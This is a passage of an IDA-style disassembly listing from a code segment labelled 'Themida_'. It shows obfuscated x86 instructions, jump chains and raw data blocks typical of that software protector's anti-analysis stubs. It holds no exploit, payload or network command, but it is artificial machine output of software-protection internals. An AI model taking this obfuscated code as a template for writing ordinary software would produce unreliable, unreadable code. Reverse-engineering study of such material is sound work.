		shl	ebx, 7
		shr	ebx, 3
		xor	ebx, 163C09C4h
		jmp	loc_559514
; ---------------------------------------------------------------------------


loc_556544:				; CODE XREF: Themida_:00559701j
		xor	ecx, 2C1B71B5h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_552D28
; ---------------------------------------------------------------------------
aWsz		db 'WИZч',0
		align 10h
		dd 0E924148Bh, 0FFFFB676h, 7910C281h, 48B3C42h,	4C48324h
		dd 0E1668h, 0B747E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55657E:				; CODE XREF: Themida_:0055932Ej
		mov	ecx, esp
		push	esi
		push	edi
		jmp	loc_561351
; ---------------------------------------------------------------------------
aGVsO		db '╬┐',7,'шvИ©o',0
		db 0
; ---------------------------------------------------------------------------


loc_556591:				; CODE XREF: Themida_:00563C0Bj
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		push	eax
		push	48EE160Eh
		pop	eax
		jmp	loc_55D483
; ---------------------------------------------------------------------------
		db 81h
		dd 0A91261C1h, 0B9F3E90Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5565AE:				; CODE XREF: Themida_:00556DB4j
		add	ebp, 32C94BF1h
		jmp	loc_561A70
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0EAh
		dd 3722608Ah, 0C281EA29h, 3722608Ah, 0A991E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5565CE:				; CODE XREF: Themida_:00551304j
		mov	esp, [esp]
		pop	dword ptr [edi+24h]


loc_5565D4:				; CODE XREF: Themida_:0055A377j
		push	22A1h
		mov	[esp], edx
		push	ebp
		jmp	loc_552827
; ---------------------------------------------------------------------------
		dw 8568h
		dd 8900000Ch, 5E542434h, 4C681h, 74E90000h, 80FFFFC2h
		dd 0EB8070EBh, 80C300F7h, 5066F7C3h, 7DE970B0h,	10000BBh
		dd 1A685FF8h, 8900003Ah, 0C6BB241Ch, 810DDF0Eh,	414D5FEBh
		dd 0F231E971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556626:				; CODE XREF: Themida_:005591B7j
		add	eax, edi
		jmp	loc_55299D
; ---------------------------------------------------------------------------


loc_55662D:				; CODE XREF: Themida_:0055AB35j
		pop	ebp
		jmp	loc_562521
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 0C8B5424h, 4C48124h, 81000000h, 4C1h, 75DB6800h
		dd 0AE90000h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_556653:				; CODE XREF: Themida_:0055B255j
		add	edi, 24EA1122h
		add	edi, ecx
		jmp	loc_56120D
; ---------------------------------------------------------------------------


loc_556660:				; CODE XREF: Themida_:0055898Bj
		sub	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_552D4F
; ---------------------------------------------------------------------------
		db 46h
		dd 3CBBC681h, 0F7015C6Eh, 266EE95Eh, 0EA810000h, 6AA22C09h
		dd 58F9C281h, 0D78991AEh, 8324148Bh, 814704C4h,	0B76E5EEFh
		dd 8BFA895Bh, 0C481243Ch, 4, 8142D2F7h,	3CAA28C2h, 0AD3BE97Ch
		dd 3429FFFFh, 0EE815E24h, 77E841C9h, 1E50BD55h,	0F58140ACh
		dd 6965566Bh, 255AED81h, 0E5812596h, 41673076h,	9F96C581h
		dd 0EE317CD7h, 8810E9h,	4BC58100h, 5A22EF0Fh, 0C2BE5657h
		dd 8911771Dh, 0CF815EF7h, 2FD721ECh, 68h, 243C2900h, 1EF835Fh
		dd 0C213F781h, 0FD01C008h, 68243C8Bh, 1E6Dh, 68243489h
		dd 5C7Eh, 56242489h, 3091E9h, 5EDC100h,	504DE9h, 58C10100h
		dd 0BF57C101h, 220E6234h, 0D3EFE9h, 242C8900h, 3E3BBB53h
		dd 9FBD5DA0h, 310C6E0Ch, 20E95BDDh
		db 0F2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55674F:				; CODE XREF: Themida_:00564A11j
		not	ebp
		sub	ebp, 5E41169Eh
		push	edi
		mov	edi, 2923744Dh
		jmp	loc_555CDC
; ---------------------------------------------------------------------------


loc_556762:				; CODE XREF: Themida_:0055FCE1j
		mov	esp, [esp]
		jmp	loc_55FAA1
; ---------------------------------------------------------------------------


loc_55676A:				; CODE XREF: Themida_:0055FC72j
		xor	ecx, 6EE34D09h
		push	edx
		push	esi
		jmp	loc_5611D0
; ---------------------------------------------------------------------------


loc_556777:				; CODE XREF: Themida_:005655C4j
		push	edi
		push	esp
		jmp	loc_553C0D
; ---------------------------------------------------------------------------


loc_55677E:				; CODE XREF: Themida_:005589C6j
		push	ebx
		jmp	loc_55B7D2
; ---------------------------------------------------------------------------
		dd 31240433h, 4332404h,	24248B24h, 24048B66h, 0FFFBA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556799:				; CODE XREF: Themida_:0055BBB5j
		mov	[esp], ebp
		mov	ebp, 28754AD3h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55E72B
; ---------------------------------------------------------------------------
		db 59h
		dd 0CC2DD001h, 56AF26Ch, 0A503DD4h, 8124148Bh, 4C4h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 710921F0h
		not	edx
		shl	edx, 5
		jmp	loc_5659AC
; ---------------------------------------------------------------------------
		dd 2C8BEB29h, 4C48324h,	5DF7E981h, 0BD55604Eh, 7A9B58A3h
		dd 815DE929h, 693E6CE9h, 81D9010Ah, 693E6CC1h, 0A3C1810Ah
		dd 537A9B58h, 4E5DF7BBh, 8BD90160h, 0C481241Ch,	4, 83E9525Bh
		dd 680000EEh, 11F0h, 0BD242C89h, 0FDDD0E85h, 34FFEE29h
		dd 0BEF0E924h, 1C8BFFFFh, 4C48324h, 72DF029h, 8B785B35h
		dd 54522434h, 0E924148Bh, 0FFFFDA2Dh, 8106E6C1h, 40004C6h
		dd 5EF1018Ah, 4F88E9h, 241C8900h, 0C212E4BBh, 0E4BE561Eh
		dd 0F72B573Fh, 0B2EE81DEh, 46499D20h, 0B951DEF7h, 24592685h
		dd 0CCE98141h, 4147C52Dh, 8ACEF181h, 0CE31B6A5h, 4FD4E9h
		dd 0A9EA8100h, 0E929907Eh, 314h, 8850D988h, 58E288CCh
		dd 88D2F659h, 24148BD3h, 5004C483h, 0DD885152h,	8159EE88h
		dd 4ECh, 240C8900h, 0FFC0D1E9h,	4E4C0FFh, 0A550E9h
		db 0
; ---------------------------------------------------------------------------


loc_5568CD:				; CODE XREF: Themida_:005588B9j
		push	ebp
		jmp	loc_551C17
; ---------------------------------------------------------------------------
		db 89h
		dd 0FA8958C7h, 5090E9h,	0E5E95700h, 8B00006Eh, 3EE92424h
		dd 81FFFFC2h, 4C3h, 241C8700h, 2F89685Ch, 0A0E90000h, 8F000019h
		dd 248B2404h, 91CCE924h, 592C0000h, 6327E9h, 0CBE95300h
		dd 81FFFFD6h, 4C4h, 4C48300h, 4B951h, 0B9510000h, 73BF0E64h
		dd 8159CE29h, 3C68D1EEh, 81CE014Fh, 3C68D1C6h, 6F08E94Fh
		dd 14680000h, 89000063h, 88682414h, 89000015h, 0AEE92404h
		dd 5300006Ah, 976B79BBh, 0D3F74B5Ch, 57DCEB81h,	0ACE9660Dh
		dd 81000072h, 4C4h, 8A6FE900h, 295A0000h, 0B13AE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55697E:				; CODE XREF: Themida_:00554E63j
		mov	esi, 668F71BBh
		inc	esi
		shr	esi, 2
		xor	esi, edx
		xor	edx, esi
		xor	esi, edx
		not	edx
		jmp	loc_563DA1
; ---------------------------------------------------------------------------
		dd 0C12801B0h, 97CDE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55699E:				; CODE XREF: Themida_:00563C6Fj
		mov	dl, bh
		jmp	loc_557C48
; ---------------------------------------------------------------------------


loc_5569A5:				; CODE XREF: Themida_:00562BC8j
		mov	[esp], eax
		jmp	loc_55241B
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0B4h
		dd 680E7328h, 26Ah, 99B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5569BD:				; CODE XREF: Themida_:0056309Aj
		mov	esp, [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 34B31528h
		sub	eax, ebx
		pop	ebx
		push	ebx
		push	416Ah
		mov	[esp], ecx
		mov	ecx, 4000h
		push	ecx
		jmp	loc_55AC19
; ---------------------------------------------------------------------------


loc_5569E6:				; CODE XREF: Themida_:0055EBAAj
		add	ecx, eax
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_559A10
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0DDE92424h, 810000C5h, 4C4h, 24148B00h, 8104C483h
		dd 6E7CBDEFh, 56DF0161h, 46234EBEh, 0E6814E6Ah,	2C5209A8h
		dd 0A695E9h, 34D3BD00h,	0E80140B6h, 4EC815Dh, 0E9000000h
		dd 20EFh, 0B76F17BFh, 0BFEF810Dh, 0C1501758h, 0D7F706E7h
		dd 370DEF81h, 0C7817C3Fh, 5309D46Ah, 895FFD31h,	0FE295DEFh
		dd 2434875Fh, 7505E9h
		db 0
aM0Spss		db '╛0ьSPSИ"ш',0        ; DATA XREF: Themida_:00550CC4o
		align 4
		dd 4BE56h, 0F1010000h, 0FFA8B7E9h, 24048BFFh, 4C481h, 89530000h
		dd 4C381E3h, 81000000h,	4C3h, 0EEACE900h, 0C2810000h, 4
		dd 8704EA83h, 0E95C2414h, 0FFFFF823h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_555F6C
; ---------------------------------------------------------------------------


loc_556AC4:				; CODE XREF: Themida_:0056356Cj
		or	eax, edx
		pop	edx
		xor	eax, 9A7E7702h
		sub	ebx, eax
		pop	eax
		jmp	loc_561248
; ---------------------------------------------------------------------------
		dd 242C8B57h, 4C481h, 7CE90000h, 31000022h, 0D3F7241Ch
		dd 8B241C87h, 8956241Ch, 0B99FE9E6h, 535EFFFFh,	4BBh, 0CB86E900h
		db 2 dup(0)
word_556B02	dw 478Fh		; DATA XREF: Themida_:00550D34o
		dd 0A455E940h
		db 2 dup(0FFh)
word_556B0A	dw 81ADh		; DATA XREF: Themida_:00550CB0o
		dd 4ECh, 243C8900h, 0FFFE3EE9h,	2C335FFFh, 242C3124h, 8B242C33h
		dd 34FF2424h, 2434FF24h, 7A77685Ah, 1C890000h, 92E95424h
		dd 66FFFFC1h, 66391768h, 0E9241489h, 0EF31h
; ---------------------------------------------------------------------------


loc_556B48:				; CODE XREF: Themida_:0056317Ej
		mov	ecx, [esp]
		push	edx
		push	edx
		mov	edx, esp
		jmp	loc_55C535
; ---------------------------------------------------------------------------
		dd 4C481h, 68500000h, 13563C04h, 0C7F5E958h, 0FBBEFFFFh
		dd 0F75BEA7Bh, 7BF681DEh, 9B78DBAh, 510CE9F3h, 1C890000h
		dd 6E14E924h, 0E9830000h, 240C8704h, 2434895Ch,	0CAB3E954h
		dd 0C181FFFFh, 4, 4C181h, 7DE90000h
		db 0E0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556BA3:				; CODE XREF: Themida_:005638E3j
		mov	esp, [esp]
		rep movsd
		add	esp, [edx+38h]
		jmp	loc_56340F
; ---------------------------------------------------------------------------
		dd 0A13EA81h, 0BDE97B91h, 810000B9h, 4C4h, 359CE900h, 52510000h
		dd 4BAh, 0E9D18900h, 87F3h, 3AD9E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556BDA:				; CODE XREF: Themida_:0055A5D9j
		push	ebx
		jmp	loc_563122
; ---------------------------------------------------------------------------
dword_556BE0	dd 1F968h, 48F5400h, 30D1E924h,	0D3290000h, 5E08950h, 4
					; DATA XREF: Themida_:00550E3Co
		dd 3304E883h, 0A2E92404h, 29000065h, 24348BF7h,	4C481h
		dd 0FCE90000h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556C13:				; CODE XREF: Themida_:005529ECj
		push	ebx
		mov	ebx, eax
		jmp	loc_561B65
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E98106E9h, 185B96Fh, 0B93EE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556C2A:				; CODE XREF: Themida_:00557A21j
		sub	dword ptr [esp+4], 65A58ECh
		sub	dword ptr [esp+4], 614565C0h
		pop	ecx
		jmp	loc_560DBF
; ---------------------------------------------------------------------------
		dd 27D6CB81h, 0EE96BDFh, 890000ECh, 4C781E7h, 81000000h
		dd 4EFh, 0D024E900h, 0D2F7FFFFh, 0F752D2F7h, 0E95A241Ch
		dd 7685h, 4C481h, 685A0000h, 2123h, 0BD242C89h,	7591193h
		dd 12F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_556C85:				; CODE XREF: Themida_:00554F9Cj
		add	esp, 4
		push	ebp
		push	1F62h
		jmp	loc_55F6A7
; ---------------------------------------------------------------------------
		db 56h
		dd 9EE9E689h, 0BFFFFFB8h, 4, 3A33B92Dh,	5F80108h, 83A33B9h
		dd 2404875Fh, 6DCDE9h, 0BEE6800h, 14890000h, 8017B224h
		dd 0DAF6C3CAh, 8002EAC0h, 0D2F6D8C2h, 0E983F280h, 5FB3h
		dd 2C8BEB29h, 4C48124h,	81000000h, 64D2BEBh, 8CEB813Fh
		dd 156022Eh, 8CC381C3h,	5556022Eh, 0AF2000BDh, 0C7C1E934h
		dd 0FA21FFFFh, 47E9555Fh, 5E000065h, 0D46BA52h,	0D10965E8h
		dd 0D8BEE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556D16:				; CODE XREF: Themida_:00559B19j
		shr	edi, 6
		and	edi, 29433F52h
		sub	edi, 1A833DE7h
		xor	edi, 0C119B96Eh
		add	esi, edi
		jmp	loc_55ED86
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 6853E904h, 22BD0000h, 810FAF2Fh, 972CAC5h, 81DDF73Ch
		dd 0BE0A9DE5h, 0F581452Ah, 20060A11h, 0CFA9E9h
		db 0
; ---------------------------------------------------------------------------


loc_556D59:				; CODE XREF: Themida_:00564B73j
		sub	eax, 6B3A37B5h
		jmp	loc_55C4AE
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2BE5600h, 1000000h, 17EEE9F0h,	0E9560000h, 32F6h
		dd 7101432Dh, 0D44052Ch, 8B050F46h, 144D571h, 0B5E957D8h
		db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556D93:				; CODE XREF: Themida_:0055260Bj
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_55B89A
; ---------------------------------------------------------------------------


loc_556D9C:				; CODE XREF: Themida_:00555CD7j
		add	esp, 4
		push	edx
		mov	edx, 19356981h
		sub	ebp, 17C53AECh
		add	ebp, edx
		add	ebp, 17C53AECh
		pop	edx
		jmp	loc_5565AE
; ---------------------------------------------------------------------------


loc_556DB9:				; CODE XREF: Themida_:0055B92Cj
		pop	esp
		jmp	loc_557A05
; ---------------------------------------------------------------------------


loc_556DBF:				; CODE XREF: Themida_:00555E68j
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
		dd 0E9242C8Bh, 183Bh
; ---------------------------------------------------------------------------


loc_556DCC:				; CODE XREF: Themida_:00559A95j
		sub	ebx, ecx
		pop	ecx
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	797Dh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		jmp	loc_5629C2
; ---------------------------------------------------------------------------
		dd 5A66D528h, 59EE305Ah, 2914E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556E22:				; CODE XREF: Themida_:0055CAECj
		pop	eax
		jmp	loc_556FFD
; ---------------------------------------------------------------------------
		dd 68C8B60Fh, 3C90h, 68241489h,	510Ah, 83242489h, 0E9042404h
		dd 8195h
; ---------------------------------------------------------------------------


loc_556E44:				; CODE XREF: Themida_:00564C60j
		push	edx
		push	esi
		push	eax
		mov	eax, 0F9E5AF6h
		mov	esi, 0EB0450Eh
		xor	esi, eax
		jmp	loc_553F18
; ---------------------------------------------------------------------------
		dd 4803E0C1h, 166E125h,	74D33542h, 26E927F6h, 0FF000081h
		dd 3C8B2434h, 0A7F4E924h, 0EAC00000h, 76F28006h, 2EC81h
		dd 89660000h, 0CAE92414h, 33FFFFA7h, 248B242Ch,	24348924h
		dd 4BEh, 5EF30100h, 31241C33h, 1C33241Ch, 24248B24h, 8B2434FFh
		dd 0E9572404h, 858Bh
dword_556EB4	dd 24048B66h, 2E2368h, 24048900h, 24048B54h, 4C481h, 0E9520000h
					; DATA XREF: Themida_:00550D28o
		dd 0BEDEh
; ---------------------------------------------------------------------------


loc_556ED0:				; CODE XREF: Themida_:0055879Cj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 476038AAh
		dec	esi
		add	esi, 0F14F02EBh
		jmp	loc_5598E6
; ---------------------------------------------------------------------------
		dw 2B05h
		dd 8B528E36h, 0C481242Ch, 4, 615F68h, 242C8900h, 256A0568h
		dd 2434FF42h, 6665E95Dh, 0E9BD0000h, 877F3432h,	87D7F7FDh
		dd 6EDC1FDh, 0E945D5F7h, 0FFFFEE0Ch
; ---------------------------------------------------------------------------


loc_556F24:				; CODE XREF: Themida_:00565739j
		mov	[esp], edx
		jmp	loc_55C617
; ---------------------------------------------------------------------------
		dd 8704ED83h, 248B242Ch, 24148924h, 2434FF50h, 0E92434FFh
		dd 0FFFFE0A6h
; ---------------------------------------------------------------------------


loc_556F44:				; CODE XREF: Themida_:00551847j
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
aL4S2		db '▀4$И2╩',0
		dd 0E8C15D00h, 0E8C14808h, 0D0BE5607h, 817CE219h, 0E2C523F6h
		dd 5EF0317Ch, 0E958C629h, 0FFFFCD26h, 43B6858h,	3C890000h
		dd 0D6685524h, 5D234342h, 0E091E950h, 5D580000h, 0FFE057E9h
		dd 33E981FFh, 0E90C5720h, 0E73Ch, 4EE81h, 34330000h, 24343124h
		dd 8B243433h, 14892424h, 148B5424h, 0E0895024h,	405h, 4C08300h
		dd 5C240487h, 72BC68h, 240C8900h, 4186850h, 0BE97783h
		dd 880000ABh, 59EA88FDh, 45A6E9h, 9F7DE900h, 34FFFFFFh
		dd 0D5E95F24h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_556FEB:				; CODE XREF: Themida_:0055A8C9j
		shl	edx, 1
		push	358h
		mov	[esp], ebx
		push	ebp
		push	edi
		push	edx
		jmp	loc_5604F3
; ---------------------------------------------------------------------------


loc_556FFD:				; CODE XREF: Themida_:00556E23j
		pop	edx
		shr	eax, 1
		add	eax, 1153535Dh
		shr	eax, 6
		add	eax, 670FC531h
		sub	ecx, eax
		pop	eax
		mov	ebp, ecx
		pop	ecx
		pop	esi
		push	ebp
		pop	ecx
		pop	ebp
		dec	ecx
		neg	ecx
		push	353Fh
		mov	[esp], edi
		push	0E30A954Bh
		jmp	loc_564F64
; ---------------------------------------------------------------------------


loc_55702C:				; CODE XREF: Themida_:0056455Bj
		pop	esi
		xor	edx, 51051B1Ah
		sub	ebx, edx
		pop	edx
		jmp	loc_5623FC
; ---------------------------------------------------------------------------
a4SI		db ')4$^И╟╗',0
		align 4
		dd 4C481h, 0B9510000h, 2, 0FFD103E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557055:				; CODE XREF: Themida_:00560B49j
		xor	ebp, 4FE90579h
		push	esi
		mov	esi, 2D9A79B6h
		xor	ebp, esi
		pop	esi
		sub	edx, ebp
		jmp	loc_55FA82
; ---------------------------------------------------------------------------


loc_55706B:				; CODE XREF: Themida_:00561A91j
		pop	eax
		jmp	loc_554E77
; ---------------------------------------------------------------------------


loc_557071:				; CODE XREF: Themida_:00552EF0j
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
		dw 0E983h
		dd 240C8704h, 243C895Ch, 0D928E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557086:				; CODE XREF: Themida_:00561E7Fj
		pop	edx
		push	6DB9h
		jmp	loc_563B69
; ---------------------------------------------------------------------------
		db 54h,	58h, 5
		dd 4, 15BE5657h, 8904173Eh, 0E7C15EF7h,	3EFC102h, 0D6F7F787h
		dd 568BE9h, 9EA9E900h
		db 2 dup(0FFh)
word_5570B6	dw 8B66h		; DATA XREF: Themida_:00550D2Co
		dd 0EC83240Ch, 243C8904h, 9D685F54h, 89000016h,	0F4BB241Ch
		dd 0E945C531h, 18CCh, 405h, 4C08300h, 0E9240487h, 0FFFF9EC9h
		dd 47F5E95Fh, 0E9550000h, 4F34h, 967C581h, 0E581332Dh
		dd 65FE3C6Eh, 0D959ED81h, 0EE29E7EEh, 81E6D15Dh, 148F0DF6h
		dd 5EF101B7h, 0D1E9F129h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557117:				; CODE XREF: Themida_:0056023Dj
		mov	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55DD5B
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0FF243C89h, 5F042474h, 5C24048Fh,	0E9E68956h
		dd 602Fh
dword_557140	dd 0DFD8E9ADh		; DATA XREF: Themida_:00550DF0o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557146:				; CODE XREF: Themida_:0055AFDCj
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	cl, dl
		push	eax
		mov	ah, cl
		mov	bl, ah
		pop	eax
		pop	ecx
		mov	ch, bl
		jmp	loc_55A2E0
; ---------------------------------------------------------------------------
		dd 0C15DE929h, 0BE5606E1h, 64F2AA8Ch, 15EF101h,	0F639E9C8h
		dd 0BA52FFFFh, 4, 0C186E9h
		db 0
; ---------------------------------------------------------------------------


loc_557181:				; CODE XREF: Themida_:00558047j
		push	7AABh
		mov	[esp], ecx
		mov	ecx, 460B6C6Dh
		shl	ecx, 2
		push	396Fh
		jmp	loc_5525D1
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF9DBFh
; ---------------------------------------------------------------------------


loc_5571A0:				; CODE XREF: Themida_:0055C38Cj
		mov	ebp, [esp]
		add	esp, 4
		neg	edi
		shl	edi, 3
		push	ebp
		mov	ebp, 54EB3150h
		and	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 0AB5ECEB4h
		jmp	loc_555C56
; ---------------------------------------------------------------------------
aVicsE		db 'V┴ФИ╫╔',0
		align 4
		dd 0EA81EA01h, 0F695AE0h, 770AEA81h, 0C8E921A5h, 5600007Ah
		dd 3A012DBEh, 0E9DEF772h, 1FB1h, 23D250B8h, 0E9E80108h
		dd 0FFFFFD59h
; ---------------------------------------------------------------------------


loc_5571F8:				; CODE XREF: Themida_:00554886j
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		push	5583h
		mov	[esp], ebp
		push	65D02391h
		mov	ebp, [esp]
		jmp	loc_553DF4
; ---------------------------------------------------------------------------


loc_557212:				; CODE XREF: Themida_:00561E6Bj
		add	eax, 1C0C1B53h
		add	eax, 20056484h
		sub	eax, edx
		sub	eax, 20056484h
		sub	eax, 1C0C1B53h
		pop	edx
		push	1049h
		mov	[esp], edi
		push	esi
		mov	esi, 4D5928B2h
		and	esi, 40F97C43h
		inc	esi
		add	esi, 749F6B83h
		not	esi
		xor	esi, 41531F0Fh
		mov	edi, esi
		jmp	loc_55AB70
; ---------------------------------------------------------------------------
byte_557253	db 0FFh			; DATA XREF: Themida_:00550EFCo
		dd 0FF042474h, 34FF2434h, 89505824h, 405E0h, 0A8E90000h
		dd 83000031h, 65E904C4h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557273:				; CODE XREF: Themida_:00564DDEj
		mov	edi, 1
		mov	ecx, edi
		jmp	loc_56246D
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4397095Ch, 0E95AD331h, 4705h
; ---------------------------------------------------------------------------


loc_55728C:				; CODE XREF: Themida_:00558510j
		shl	ebp, 1
		sub	ebp, 0D0681E7Eh
		xor	esi, ebp
		pop	ebp
		shr	esi, 7
		and	esi, 23884D85h
		jmp	loc_55EE77
; ---------------------------------------------------------------------------


loc_5572A5:				; CODE XREF: Themida_:00557311j
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_55D8BC
; ---------------------------------------------------------------------------
		db 31h,	0F2h, 0E9h
		dd 929Ch, 5704C483h, 0C781E789h, 4, 4EF81h, 3C870000h
		dd 24248B24h, 0E9243489h, 0DC1h, 0C1815954h, 4,	0FFF89DE9h
		dd 241489FFh, 6FEB68h, 24048900h, 0BE9C2B0h, 5D000051h
		dd 2474FF56h, 2434FF04h, 4816E95Eh, 0E94A0000h,	0E3BBh
; ---------------------------------------------------------------------------


loc_55730C:				; CODE XREF: Themida_:005658BBj
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5572A5
; ---------------------------------------------------------------------------


loc_557316:				; CODE XREF: Themida_:0055D68Cj
		not	ebp
		add	ebp, 0C1367F6Bh
		jmp	loc_55C764
; ---------------------------------------------------------------------------
		db 0F6h
		dd 9804D0h, 0C455E9C2h,	0E7C1FFFFh, 64E78103h, 0E95BB17Dh
		dd 0FFFFAD20h, 0A88CEB81h, 0D889E846h, 0C9BA525Bh, 87750367h
		dd 87D7F7FAh, 0FFBB53FAh, 1FFFFFFh, 0D2E95BDAh,	8100006Bh
		dd 6B2FFEE1h, 0A21AE931h, 5066FFFFh, 39AAE99Ch,	13680000h
		dd 0E9000051h, 9F04h
; ---------------------------------------------------------------------------


loc_55737C:				; CODE XREF: Themida_:00555AEFj
		and	esi, 5D74DECh
		jmp	loc_5555EE
; ---------------------------------------------------------------------------
		db 59h
		dd 5324148Bh, 0AD37E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557392:				; CODE XREF: Themida_:00552E24j
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		xchg	eax, edi
		push	0B10h
		mov	[esp], edi
		jmp	loc_55D4EA
; ---------------------------------------------------------------------------


loc_5573A6:				; CODE XREF: Themida_:005627C9j
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		jmp	loc_562BEC
; ---------------------------------------------------------------------------
		db 5Dh,	29h, 0F7h
		dd 7211EF81h, 0E95E1E6Dh, 6952h, 0E9E78957h, 0CBF2h, 383EE950h
		dd 0CD800000h, 4BC580AEh, 3059EB30h, 0E678E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5573DE:				; CODE XREF: Themida_:005555C3j
		add	ebx, eax
		jmp	loc_564C65
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 68000000h, 421Ah, 0BA241489h, 195B03A1h, 0E51FE955h
		dd 0BF570000h, 3FD43B9Bh, 0E6E9F901h, 0BDFFFFB5h, 47634A6Ch
		dd 0FFFCDBE9h, 4C481FFh, 0FF000000h, 0E9592434h, 0C953h
		dd 68243489h, 2E631881h, 0C02DE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557432:				; CODE XREF: Themida_:0055E719j
		mov	esi, 5A411F84h
		and	ebx, esi
		pop	esi
		add	ebx, 23F739F5h
		jmp	loc_55B8A3
; ---------------------------------------------------------------------------
		db 68h,	0C2h, 69h
		dd 0FAE9294Dh, 66FFFFFAh, 51240C8Bh, 8904EC83h,	4832424h
		dd 0C8B0424h, 0A857E924h, 685AFFFFh, 5FE7h, 0E9241489h
		dd 7714h, 0C381E389h, 4, 0E904C383h, 8C02h, 0DC86EB81h
		dd 0D82905D4h, 8B30885Bh, 7EE92404h, 68FFFFFFh,	6771189h
		dd 0B0F3E95Fh, 0E9550000h, 0FFFF9DCAh
; ---------------------------------------------------------------------------


loc_5574A8:				; CODE XREF: Themida_:00565030j
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	ebx
		mov	ebx, edx
		jmp	loc_55C261
; ---------------------------------------------------------------------------


loc_5574C3:				; CODE XREF: Themida_:00557695j
		shr	eax, 7
		xor	eax, 789C1E6Ah
		add	eax, 74564CEAh
		sub	eax, 4C86DA3Fh
		add	ecx, 74B95F0Bh
		add	ecx, eax
		sub	ecx, 74B95F0Bh
		pop	eax
		mov	eax, ecx
		pop	ecx
		or	eax, 1AA04ABCh
		jmp	loc_55BE40
; ---------------------------------------------------------------------------
aAursZ		db '─НrИг┤',0
		db 0
; ---------------------------------------------------------------------------


loc_5574F9:				; CODE XREF: Themida_:005519CBj
		add	ecx, 4
		jmp	loc_554B23
; ---------------------------------------------------------------------------
		dd 0E906EAC1h, 0FFFFD1DFh
; ---------------------------------------------------------------------------


loc_55750C:				; CODE XREF: Themida_:0055DC42j
		mov	ebp, 1721665Fh
		not	ebp
		and	ebp, 62B107ADh
		dec	ebp
		add	ebp, 6B87B7AEh
		jmp	loc_562E7B
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 503DD42Dh, 6853510Ah, 3B6434FAh, 61F3815Bh, 0E972963Bh
		dd 6A75h, 5DDDE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557546:				; CODE XREF: Themida_:0055AC81j
		pop	ecx
		or	eax, eax
		jz	loc_5641E3
		push	dword ptr [edi+1Ch]
		push	2986h
		mov	[esp], ecx
